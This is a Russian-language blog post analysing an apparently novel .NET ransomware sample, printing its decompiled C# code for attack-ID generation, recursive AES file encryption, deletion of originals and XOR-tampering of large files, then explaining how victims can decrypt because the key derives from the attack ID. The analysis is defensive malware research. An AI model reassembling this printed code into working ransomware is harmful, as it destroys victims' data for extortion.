Security

Программа-вымогатель с симметричным шифром

Недавно у нас была возможность помочь одному из наших клиентов с программой-вымогателем. Одна из зашифрованных папок выглядела так, как показано ниже. Интересно, что на момент расследования информации об этом штамме программы-вымогателя было немного. Encrypter.exe был неизвестен VirusTotal, а адреса электронной почты, используемые злоумышленниками, не могли быть найдены с помощью популярных поисковых систем. Таким образом, мы сделали все возможное и доводим наш анализ до сведения общественности. И рассмотрим программу-вымогатель с симметричным шифром.

Папка с зашифрованными файлами

Основные наблюдения

После запуска шифрования вы найдете дополнительную информацию в записке о выкупе, которая хранится как __ВНИМАНИЕ__.hta. Нет ни ссылки на onion-страницу, ни какой-либо информации, куда должен идти платеж. Также не упоминается, сколько выкупа необходимо будет заплатить.

Примечание о программах-вымогателях

Также присутствует файл ID.cl, который содержит тот же идентификатор атаки, что и в примечании о программе-вымогателе. Идентификатор атаки также является частью имени файла каждого зашифрованного файла.

PS C:\Users\Compass\Documents> Get-content .\ID.cl
a18b140641d1974e

Поскольку найденное вредоносное ПО не принадлежит ни к одному популярному семейству, мы решили проанализировать Encrypter.exe в нашей лаборатории вредоносных программ, чтобы лучше понять, каковы его возможности.

Статический анализ кода

Статический анализ исполняемого файла быстро показал, что это двоичный файл .NET, поэтому мы приступили к его декомпиляции с помощью dotPeek от JetBrains.

Там мы получили декомпилированную основную функцию зловреда.

using Encrypter.Class;
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;

namespace Encrypter
{
  internal class Program
  {
    private static string Driverbase = (string) null;
    private static string email1 = "dcrypt2022@cyberfear.com";
    private static string email2 = "dcrypt2022@cock.li";
    public static readonly string alertName = "__ATTENTION__";
    private static string password = "a3c8443f2d6a48c2aebb82fda8e06c28";
    private static string password_1 = "a3c8443f2d6a48c2aebb82fda8e06c28";
    private static string MainPassword = "";
    private static string email;
    private static string softwareName = "Encrypter";
    private static string gozo = "a3c8443f2d6a48c2aebb8";
    private static string meta = "";
    private static char[] arr = new char[32];
    private static char[] pa = new char[16];
    private static CoreEncrypter coreEncrypter = (CoreEncrypter) null;

    private static void Main(string[] args)
    {
      Program.MainPassword = Program.password + Program.password_1;
      Utility utility = new Utility();
      GetEmailAddress getEmailAddress1 = new GetEmailAddress();
      GetEmailAddress getEmailAddress2 = new GetEmailAddress();
      Program.gozo = getEmailAddress2.TopSolder();
      for (int index = 0; index < Program.gozo.Length; ++index)
      {
        if (index % 3 == 0)
        {
          Program.meta += Program.gozo[index].ToString();
          Program.arr[index] = Program.gozo[index];
        }
      }
      if (utility.CheckIDFile())
      {
        Program.Driverbase = File.ReadAllText(Environment.CurrentDirectory + "\\ID.cl");
        utility.Write("File  -> UserID = " + Program.Driverbase, ConsoleColor.Green);
      }
      else
      {
        Program.Driverbase = Program.setEmail(Program.arr, 12);
        try
        {
          File.WriteAllText(Environment.CurrentDirectory + "\\ID.cl", Program.Driverbase);
          utility.Write("New  -> UserID = " + Program.Driverbase, ConsoleColor.Yellow);
        }
        catch (Exception ex)
        {
        }
      }
      utility.Write("\nwrite yes and pres Enter !", ConsoleColor.Red);
      utility.Write("\nUserID = " + Program.Driverbase, ConsoleColor.Cyan);
      Alert alert = new Alert(Program.Driverbase, Program.email1, Program.email2);
      Program.email = Program.email1 + " And " + Program.email2 + " (send both) ATTACK ID = " + Program.Driverbase + " Telegram=@decryptionsupport1";
      Program.coreEncrypter = new CoreEncrypter(getEmailAddress2.EnterMail(Program.Driverbase, Program.Driverbase), alert.ValidateAlert(), Program.alertName, Program.email);
      List<char> list = Program.Driverbase.Reverse<char>().ToList<char>();
      string str = "";
      for (int index = 0; index < 4; ++index)
        str += list[index].ToString();
      if (Console.ReadLine().Equals(str))
      {
        utility.Write("\nStart ...", ConsoleColor.Red);
        Program.Enc(Environment.CurrentDirectory);
      }
      Console.ReadKey();
    }

Программа определяет несколько переменных, а затем переходит к более интересным операциям. В строке программа проверяет, существует ли уже ID.cl в текущем каталоге, используя utility.CheckIDFile()

который реализован как:

public bool CheckIDFile() => File.Exists(Environment.CurrentDirectory + "\\ID.cl");

Если файл существует, его содержимое помещается в переменную Program.Driverbase, в противном случае переменной присваивается результат: Program.setEmail(Program.arr, 12) и создается файл ID.cl с содержимым этой переменной. .

Создать ИДЕНТИФИКАТОР АТАКИ

Аргумент Program.arr для функции Program.setEmail получен в цикле в строке 33 из Program.gozo. И Program.gozo устанавливается в строке 32 на вывод функции GetEmailAddress.TopSolder(), которая определяется как: Guid.NewGuid().ToString(«N»), практически случайный GUID без тире. Затем Program.setEmail включает в случайную шестнадцатеричную строку, предоставленную в качестве первого аргумента, текущий день и месяц и выводит 16-значное шестнадцатеричное значение. Это значение является идентификатором атаки.

public static string setEmail(char[] arr, int email)
{
  string str1 = "";
  string str2 = Convert.ToString(DateTime.Today.Day);
  if (Convert.ToInt32(str2) <= 9)
  {
    arr[2] = '0';
    arr[13] = str2[0];
  }
  else
  {
    arr[2] = str2[0];
    arr[13] = str2[1];
  }
  string str3 = Convert.ToString(DateTime.Today.Month);
  if (Convert.ToInt32(str3) <= 9)
  {
    arr[20] = '0';
    arr[22] = str3[0];
  }
  else
  {
    arr[20] = str3[0];
    arr[22] = str3[1];
  }
  arr[29] = '4';
  foreach (char ch in arr)
  {
    if (ch != char.MinValue)
      str1 += ch.ToString();
  }
  return str1;
}

Только уполномоченный персонал

Затем строка 62 инициализирует CoreEncrypter, а строка 67 приостанавливает выполнение в ожидании ввода от пользователя. Когда последние 4 шестнадцатеричных цифры идентификатора атаки вводятся в обратном порядке, программа продолжает работу с Program.Enc(Environment.CurrentDirectory), в противном случае она завершается, и никакие файлы не шифруются.

В отличие от подсказки, ввод «да» не сработает.

Черный список файлов и алгоритмы

Функция Program.Enc перечисляет файлы в указанном каталоге и выполняет Program.coreEncrypter.EncryptFile(file) для каждого файла, кроме тех, которые содержат любую из пяти предопределенных строк, таких как .hta или desktop.ini. После завершения шифрования файлов в текущем каталоге вредоносная программа рекурсивно шифрует файлы во всех подкаталогах.

private static List<string> Enc(string sDir)
{
  List<string> stringList = new List<string>();
  foreach (string file in Directory.GetFiles(sDir))
  {
    try
    {
      if (!file.Contains(".[Enc]"))
      {
        if (!file.Contains(".hta"))
        {
          if (!file.Contains("ID.cl"))
          {
            if (!file.Contains("desktop.ini"))
            {
              if (!file.Contains(Program.softwareName))
              {
                Console.ForegroundColor = ConsoleColor.Green;
                Console.WriteLine(file);
                Console.ForegroundColor = ConsoleColor.Green;
                Program.coreEncrypter.EncryptFile(file);
              }
            }
          }
        }
      }
    }
    catch (Exception ex)
    {
    }
  }
  foreach (string directory in Directory.GetDirectories(sDir))
  {
    try
    {
      stringList.AddRange((IEnumerable<string>) Program.Enc(directory));
    }
    catch (Exception ex)
    {
    }
  }
  return stringList;
}

Функция CoreEncrypter.EncryptFile настраивает параметры AES (Rijndael), такие как его ключ и IV, с помощью класса Rfc2898DeriveBytes. RFC 2898 описывает популярный метод получения ключей: PBKDF2 (Функция получения ключей на основе пароля 2).

public void EncryptFile(string file)
{
  byte[] buffer = new byte[(int) ushort.MaxValue];
  Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(this.password, new byte[8]
  {
    (byte) 1,
    (byte) 2,
    (byte) 3,
    (byte) 4,
    (byte) 5,
    (byte) 6,
    (byte) 7,
    (byte) 8
  }, 1);
  RijndaelManaged rijndaelManaged = new RijndaelManaged();
  rijndaelManaged.Key = rfc2898DeriveBytes.GetBytes(rijndaelManaged.KeySize / 8);
  rijndaelManaged.Mode = CipherMode.CBC;
  rijndaelManaged.Padding = PaddingMode.ISO10126;
  rijndaelManaged.IV = rfc2898DeriveBytes.GetBytes(rijndaelManaged.BlockSize / 8)

AES IV и получение ключа

Пароль, используемый в качестве входных данных для функции получения ключа, является первым параметром конструктора CoreEncrypter.

public CoreEncrypter(string password, string alert, string alertName, string email)
{
  this.password = password;
  this.alert = alert;
  this.alertName = alertName;
  this.email = email;
}

Этот конструктор вызывался уже в функции Main, и getEmailAddress2.EnterMail(Program.Driverbase, Program.Driverbase) был ее первым аргументом. Как мы помним, Program.Driverbase — это просто идентификатор атаки, а функция GetEmailAddress.EnterMail определяется как общедоступная строка EnterMail(строка-пароль, строка-salt) => this.GetDriv_C(пароль + salt); с GetDriv_C:

public string GetDriv_C(string password)
{
  using (SHA512CryptoServiceProvider cryptoServiceProvider = new SHA512CryptoServiceProvider())
  {
    byte[] bytes = Encoding.UTF8.GetBytes(password);
    return Convert.ToBase64String(cryptoServiceProvider.ComputeHash(bytes));
  }
}

Таким образом, все параметры AES детерминировано выводятся из идентификатора атаки, а шифрование происходит следующим образом.

Процесс шифрования

Файловый поток к исходному файлу открывается:

fileStream1 = new FileStream(file, FileMode.Open, FileAccess.ReadWrite);

Создается криптопоток с настроенным ранее AES:

path = file + ".[Enc][" + this.email + "]";
fileStream2 = new FileStream(path, FileMode.Create, FileAccess.Write);
cryptoStream = new CryptoStream((Stream) fileStream2, rijndaelManaged.CreateEncryptor(), CryptoStreamMode.Write);

Содержимое исходного файла шифруется и записывается на диск:

do
{
  count = fileStream1.Read(buffer, 0, buffer.Length);
  if (count != 0)
    cryptoStream.Write(buffer, 0, count);
}
while (count != 0);

Исходный файл удаляется:

File.Delete(file);

Обработка больших файлов

Описанный выше метод шифрования применяется только к файлам размером менее ~10 МБ:

if (fileStream1.Length < 10000000L)

Для больших файлов шифрование не применяется, но первый байт файла подвергается операции XOR с 0xff:

else
{
  string destFileName = file + ".[Enc][" + this.email + "]_";
  try
  {
    long position = fileStream1.Position;
    int num = fileStream1.ReadByte() ^ (int) byte.MaxValue;
    fileStream1.Seek(position, SeekOrigin.Begin);
    fileStream1.WriteByte((byte) num);
    fileStream1.Close();
    File.Move(file, destFileName);
  }
  catch (Exception ex)
  {
    Console.ForegroundColor = ConsoleColor.Red;
    Console.WriteLine(ex.Message);
    Console.ForegroundColor = ConsoleColor.Red;
  }
}

Действительно, PDF-файл размером около 15 МБ не был зашифрован, был изменен только его первый байт:

PS C:\Users\Compass\Documents> Format-Hex '.\Cryptography_part2.pdf.`[Enc`]`[dcrypt2022@cyberfear.com And dcrypt2022@cock.li (send both) ATTACK ID = a18b140641d1974e Telegram=@decryptionsupport1`]_' | select -First 1


           Path: C:\Users\Compass\Documents\Cryptography_part2.pdf.[Enc][dcrypt2022@cyberfear.com And
dcrypt2022@cock.li (send both) ATTACK ID = a18b140641d1974e Telegram=@decryptionsupport1]_

           00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F

00000000   DA 50 44 46 2D 31 2E 37 0D 25 E2 E3 CF D3 0D 0A  ÚPDF-1.7.%âãÏÓ..

Процесс расшифровки

Дешифрование небольших файлов легко возможно, поскольку применяется симметричная криптография, а используемый ключ и IV получаются из идентификатора атаки, который присутствует в каждом зашифрованном имени файла. Для этого мы подготовили рецепт CyberChef, который вычисляет параметры AES из идентификатора атаки:

Вычисление параметров AES из идентификатора атаки

Затем, имея необходимые параметры AES, можно использовать другой рецепт CyberChef для расшифровки одного файла.

Расшифровка AES в CyberChef

Вывод

Радует, что не всякая ТА слишком сложна, и пострадавшие получают шанс легко восстановиться.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Click to rate this post!
[Total: 0 Average: 0]
faza

Recent Posts

Лучший адаптер беспроводной сети для взлома Wi-Fi

Чтобы взломать сеть Wi-Fi с помощью Kali Linux, вам нужна беспроводная карта, поддерживающая режим мониторинга…

11 месяцев ago

Как пользоваться инструментом FFmpeg

Работа с консолью считается более эффективной, чем работа с графическим интерфейсом по нескольким причинам.Во-первых, ввод…

11 месяцев ago

Как создать собственный VPN-сервис

Конечно, вы также можете приобрести подписку на соответствующую услугу, но наличие SSH-доступа к компьютеру с…

11 месяцев ago

ChatGPT против HIX Chat: какой чат-бот с искусственным интеллектом лучше?

С тех пор как ChatGPT вышел на арену, возросла потребность в поддержке чата на базе…

11 месяцев ago

Разведка по Wi-Fi и GPS с помощью Sparrow-wifi

Если вы когда-нибудь окажетесь в ситуации, когда вам нужно взглянуть на спектр беспроводной связи, будь…

11 месяцев ago

Как обнаружить угрозы в памяти

Elastic Security стремится превзойти противников в инновациях и обеспечить защиту от новейших технологий злоумышленников. В…

11 месяцев ago